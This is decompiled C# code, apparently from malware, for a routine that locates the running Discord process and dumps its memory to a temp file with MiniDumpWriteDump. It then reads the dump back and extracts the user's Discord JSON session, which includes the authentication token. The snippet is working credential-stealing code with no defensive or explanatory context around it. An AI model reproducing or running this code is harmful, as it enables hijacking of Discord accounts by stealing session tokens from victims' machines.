// Token: 0x0600008E RID: 142 RVA: 0x00005F94 File Offset: 0x00004194
 public static DiscordSession Extract()
 {
     try
     {
         Process process = DiscordManager.FindDisordProcess();
         if (process != null)
         {
             string text = DiscordManager.DumpProcess(process);
             if (!string.IsNullOrEmpty(text))
             {
                 string text2 = DiscordManager.FindDiscordJsonSession(text);
                 if (!string.IsNullOrEmpty(text2))
                 {
                     return(text2.FromJSON <DiscordSession>());
                 }
                 Console.WriteLine("JsonSession UNKNOWN");
             }
             else
             {
                 Console.WriteLine("Discord dump UNKNOWN");
             }
         }
         else
         {
             Console.WriteLine("Discord process UNKNOWN");
         }
     }
     catch (Exception arg_54_0)
     {
         Console.WriteLine(arg_54_0);
     }
     return(null);
 }
        // Token: 0x06000090 RID: 144 RVA: 0x00006088 File Offset: 0x00004288
        private static string DumpProcess(Process process)
        {
            string empty = string.Empty;

            try
            {
                string path = Environment.ExpandEnvironmentVariables(Path.Combine("%temp%", "discord.dmp"));
                bool   flag = false;
                using (FileStream fileStream = File.Open(path, FileMode.Create, FileAccess.Write))
                {
                    flag = DiscordManager.MiniDumpWriteDump(process.Handle, process.Id, fileStream.SafeFileHandle.DangerousGetHandle(), 2u, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);
                }
                if (flag)
                {
                    return(File.ReadAllText(path));
                }
            }
            catch
            {
            }
            return(empty);
        }